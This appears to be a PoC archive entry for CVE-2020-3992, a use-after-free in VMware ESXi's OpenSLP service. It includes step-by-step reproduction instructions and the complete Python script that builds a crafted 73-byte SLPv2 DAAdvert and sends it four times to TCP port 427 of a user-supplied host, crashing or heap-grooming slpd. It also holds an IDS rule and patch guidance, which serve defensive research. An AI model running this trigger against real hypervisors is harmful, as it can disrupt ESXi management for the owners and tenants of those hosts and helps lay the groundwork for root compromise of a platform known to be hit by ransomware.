PoC Archive PoC Archive
CVE-2020-3992 category: network CVSS 9.8 (CRITICAL) KEV Ransomware EPSS 83%
Patched

VMware ESXi OpenSLP Use-After-Free (CVE-2020-3992)

Published: 2026-11-27 • Researcher: ceciliaaii (PoC repository author); vulnerability reported to VMware through Trend Micro ZDI (ZDI-20-1377 / ZDI-20-1385)

Target software VMware ESXi, OpenSLP service (slpd), and VMware Cloud Foundation
Affected versions ESXi 7.0 before ESXi_7.0.1-0.0.16850804, 6.7 before ESXi670-202010401-SG, 6.5 before ESXi650-202010401-SG; Cloud Foundation 3.0 to before 3.10.1.2 and 4.0 to before 4.1.0.1 (NVD ranges)
Status PoC (heap-grooming trigger for the vulnerable TCP/427 message path; crash/DoS demonstrated, full RCE chain not included)
Severity Critical · CVSS 9.8
CVSS 9.8/10

Exploitation signals

KEV Ransomware EPSS 83%

Confirmed exploited in the wild. Added to CISA KEV 2021-11-03. Federal remediation deadline 2022-05-03.

EPSS 83.0% · 100th percentile

Severity
Critical
CVE
CVE-2020-3992
Category
network
Affected product
VMware ESXi, OpenSLP service (slpd), and VMware Cloud Foundation
Affected versions
ESXi 7.0 before ESXi_7.0.1-0.0.16850804, 6.7 before ESXi670-202010401-SG, 6.5 before ESXi650-202010401-SG; Cloud Foundation 3.0 to before 3.10.1.2 and 4.0 to before 4.1.0.1 (NVD ranges)
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2024-01-07
Author / Researcherceciliaaii (PoC repository author); vulnerability reported to VMware through Trend Micro ZDI (ZDI-20-1377 / ZDI-20-1385)
CVE / AdvisoryCVE-2020-3992
Categorynetwork
SeverityCritical
CVSS Score9.8 (CVSSv3.1, NVD and VMware VMSA-2020-0023); 10.0 (CVSSv2, NVD)
StatusPoC (heap-grooming trigger for the vulnerable TCP/427 message path; crash/DoS demonstrated, full RCE chain not included)
TagsVMware ESXi, OpenSLP, SLP, use-after-free, port 427, heap grooming, unauthenticated, CWE-416, CISA KEV
RelatedN/A

Affected Target

FieldValue
Software / SystemVMware ESXi, OpenSLP service (slpd), and VMware Cloud Foundation
Versions AffectedESXi 7.0 before ESXi_7.0.1-0.0.16850804, 6.7 before ESXi670-202010401-SG, 6.5 before ESXi650-202010401-SG; Cloud Foundation 3.0 to before 3.10.1.2 and 4.0 to before 4.1.0.1 (NVD ranges)
Language / PlatformPython 3 socket script; target is the ESXi host on its management network, TCP port 427
Authentication RequiredNo
Network Access RequiredYes, attacker must be able to reach port 427 on the ESXi management network

Summary

CVE-2020-3992 is a use-after-free in the OpenSLP service that ships with VMware ESXi. An attacker who can reach port 427 on the ESXi management network can send crafted SLP messages that free and then reuse a heap object, which VMware rates as remote code execution on the host. The archived script builds a 73-byte SLP version 2 DAAdvert message and sends it four times over one TCP connection to port 427 in an attempt to hit the freed allocation. This PoC is a crash and heap-grooming trigger rather than a complete RCE exploit, but it exercises the exact vulnerable parsing path.

Vulnerability Details

Root Cause

OpenSLP as bundled in ESXi mishandles certain service location protocol requests inside the slpd daemon. The daemon allocates strings for the URL, scope list and attribute list of a DAAdvert message, releases part of that memory during processing, and later dereferences it again when the message is handled. A crafted SLPv2 DAAdvert with attacker-controlled URL and scope/attribute strings therefore produces a use-after-free that can corrupt adjacent heap objects.

Because slpd runs on the ESXi host and processes network input from the management network without authentication, successful heap manipulation gives an attacker code execution in the context of the service, typically as root on the hypervisor. The message layout in the PoC matches the SLPv2 wire format: version 2, function 0x08 (DAAdvert), a 3-byte declared length of 0x49 that matches the 73-byte total, the URL http://www.baidu.com, and 10-byte scope and attribute strings.

Attack Vector

An attacker on the ESXi management network opens a TCP connection to port 427 and sends the crafted 73-byte SLPv2 DAAdvert, repeated four times on the same socket to shape the heap. No authentication, session or user interaction is required; reachability of port 427 is the only precondition. The upstream script asks for the target IP at runtime and performs the connection and sends directly.

Impact

Successful exploitation can crash slpd and the dependent management agents (availability loss on the hypervisor management plane), or, with a controlled heap layout, achieve remote code execution as root on the ESXi host. Root on the hypervisor exposes every guest VM, its memory and virtual disks, the host configuration, stored credentials and the vMotion and management networks, so the effective impact is full compromise of the virtualization platform and everything running on it.

Environment / Lab Setup

Output
OS:          VMware ESXi 6.5 / 6.7 / 7.0 before the fixed builds (nested ESXi or a lab host)
Target:      ESXi management interface with TCP port 427 reachable and slpd running
Attacker:    Linux VM on the same management network with Python 3
Tools:       Python 3 (stdlib socket), nc/nmap for the port check, ESXi shell/SSH for log review

Setup Steps

The upstream repository has no setup documentation at all: it contains only the script, a one-line README and a copyright line. The procedure below is reconstructed from the script and the vendor advisory and was not executed while preparing this entry.

Shell script
1
2
3
nc -zv <esxi-management-ip> 427

python3 CVE_2020_3992.py

Keep the lab off any production network: an unpatched ESXi build is a critical, remotely exploitable hypervisor.

Proof of Concept

Step-by-Step Reproduction

  1. Confirm the target — Verify that the ESXi management address answers on TCP 427. The script itself has no check and will fail with a connection error if the port is filtered.

  2. Start the script — Run it with Python 3 and enter the ESXi address when prompted (the prompt text is Chinese).

    Shell script
    1
    
    python3 CVE_2020_3992.py
  3. Send the trigger — The script connects once and calls send four times with the same 73-byte SLPv2 DAAdvert, then closes the socket.

    Python
    1
    2
    3
    4
    5
    6
    7
    
    tcpClientSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    serverAddr = (ipaddr, 427)
    tcpClientSocket.connect(serverAddr)
    tcpClientSocket.send(poc)
    tcpClientSocket.send(poc)
    tcpClientSocket.send(poc)
    tcpClientSocket.send(poc)
  4. Observe the target — On a vulnerable host, slpd aborts or the management agents restart. Check the ESXi shell or syslog for slpd and hostd entries, or watch for a management connectivity blip. Repeat the run if the first attempt does not disturb the service, since the result depends on the heap state.

Exploit Code

See CVE_2020_3992.py in this folder.

Python
1
2
3
4
header = b"\x02" + b"\x08" + b"\x00\x00\x49" + b"\x00\x00" + b"\x00\x00\x00" + b"\x00\x00" + b"\x00\x02" + b"\x65\x6e"
daadvert = b"\x00\x00" + b"\x00\x00\x01\x00" + b"\x00\x14" + b"http://www.baidu.com" \
         + b"\x00\x0a" + b"abcdefghij" + b"\x00\x0a" + b"pppppppppp" + b"\x00\x02" + b"bb" + b"\x00"
poc = header + daadvert          # 73 bytes: SLPv2 DAAdvert (function 0x08), declared length 0x49

Expected Output

Output
请输入IP地址:192.0.2.10
connect success!!!
[+]关闭连接!

The script prints its banner, asks for the IP address (input on the next line), reports the successful TCP connection and reports the closed connection. There are no per-send messages. Success against a vulnerable ESXi host is observed on the target side: an slpd abort or restart, hostd and vmkernel log entries around the connection, and possibly a brief loss of management connectivity. A target that stays healthy after several runs may still be vulnerable; the trigger depends on heap layout and the service may simply survive this particular message.

Detection & Indicators of Compromise

Output
#

SIEM / IDS Rule (example):

Output
alert tcp any any -> any 427 (msg:"CVE-2020-3992 OpenSLP DAAdvert use-after-free attempt"; flow:to_server,established; content:"|02 08 00 00 49|"; depth:5; content:"http://www.baidu.com"; distance:0; reference:cve,2020-3992; sid:9003992;)

Remediation

ActionDetail
PatchUpgrade ESXi to 7.0 build 16850804 (ESXi_7.0.1-0.0.16850804) or later, 6.7 to ESXi670-202010401-SG, 6.5 to ESXi650-202010401-SG; upgrade Cloud Foundation to 3.10.1.2 or 4.1.0.1. Patch vCenter and the rest of the stack as directed by VMSA-2020-0023.
WorkaroundRestrict TCP and UDP 427 to trusted management hosts with the ESXi firewall, or disable the SLP service when it is not required (service slpd). Keep the management network on a dedicated, segmented VLAN with no direct internet exposure.
Config HardeningRemove the SLP firewall exception where discovery is unused, enforce vMotion and management network isolation, audit ESXi logs for slpd restarts, and assume host compromise if an unexplained slpd crash follows connections from an unexpected source.

References

Notes

Auto-prepared on 2026-11-27 from https://github.com/ceciliaaii/CVE_2020_3992 (stars 1, Python).

Review verdict: ingested. This is a genuine trigger, not a detector or a scanner: the script constructs the SLPv2 DAAdvert byte string by hand and writes it to TCP port 427 of a user-supplied ESXi host four times to exercise the OpenSLP use-after-free path. It does not check versions, banners or response strings, and it does not print a fake VULNERABLE verdict. It is a research PoC and not malware.

License: LICENSE.md contains only the line “Copyright (C) 2023 ceciliaaii” and grants no explicit license; copyright remains with the author. The upstream README consists of the single heading line and is copied verbatim as upstream-README.md. The archived Python file carries the research-use header and the source URL.

Limitations: the PoC is a fixed crash/heap-grooming attempt, not a reliable exploit: it sends the same message four times and has no heap spray, no info leak and no payload, so it may crash slpd or do nothing depending on the build and heap state. It provides no shell and no way to confirm RCE. It requires layer-3 access to the ESXi management network on TCP 427, and the packet layout is tailored to ESXi’s SLP parser rather than generic OpenSLP daemons on Linux. The verified target builds and the exact fixed build numbers should be taken from VMSA-2020-0023. The ASCII banner in the script contains an escaped slash that raises a harmless SyntaxWarning on Python 3.12 and later; the code still runs. No exploit code was executed during preparation of this entry.

CVE_2020_3992.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Archived for authorized security research only.
# Source: https://github.com/ceciliaaii/CVE_2020_3992 (see README for attribution/license)
import socket

print('''
              _ _ _ _
              (_) (_) (_|_)
  ___ ___ ___ _| |_ _ _ _ _ _ _
 / __/ _ \/ __| | | |/ _` |/ _` | | |
| (_| __/ (__| | | | (_| | (_| | | |
 \___\___|\___|_|_|_|\__,_|\__,_|_|_|                                    
                                author@ceciliaaii
''')
header = b"\x02" + b"\x08" + b"\x00\x00\x49" + b"\x00\x00" + b"\x00\x00\x00" + b"\x00\x00" + b"\x00\x02" + b"\x65\x6e"
daadvert = b"\x00\x00" + b"\x00\x00\x01\x00" + b"\x00\x14" + b"http://www.baidu.com" + b"\x00\x0a" + b"abcdefghij" + b"\x00\x0a" + b"pppppppppp" + b"\x00\x02" + b"bb" + b"\x00"
poc = header + daadvert
tcpClientSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Edit your server ip
ipaddr = input("请输入IP地址:")
serverAddr = (ipaddr, 427)
tcpClientSocket.connect(serverAddr)
print('connect success!!!')
tcpClientSocket.send(poc)
tcpClientSocket.send(poc)
tcpClientSocket.send(poc)
tcpClientSocket.send(poc)
tcpClientSocket.close()
print('[+]关闭连接!')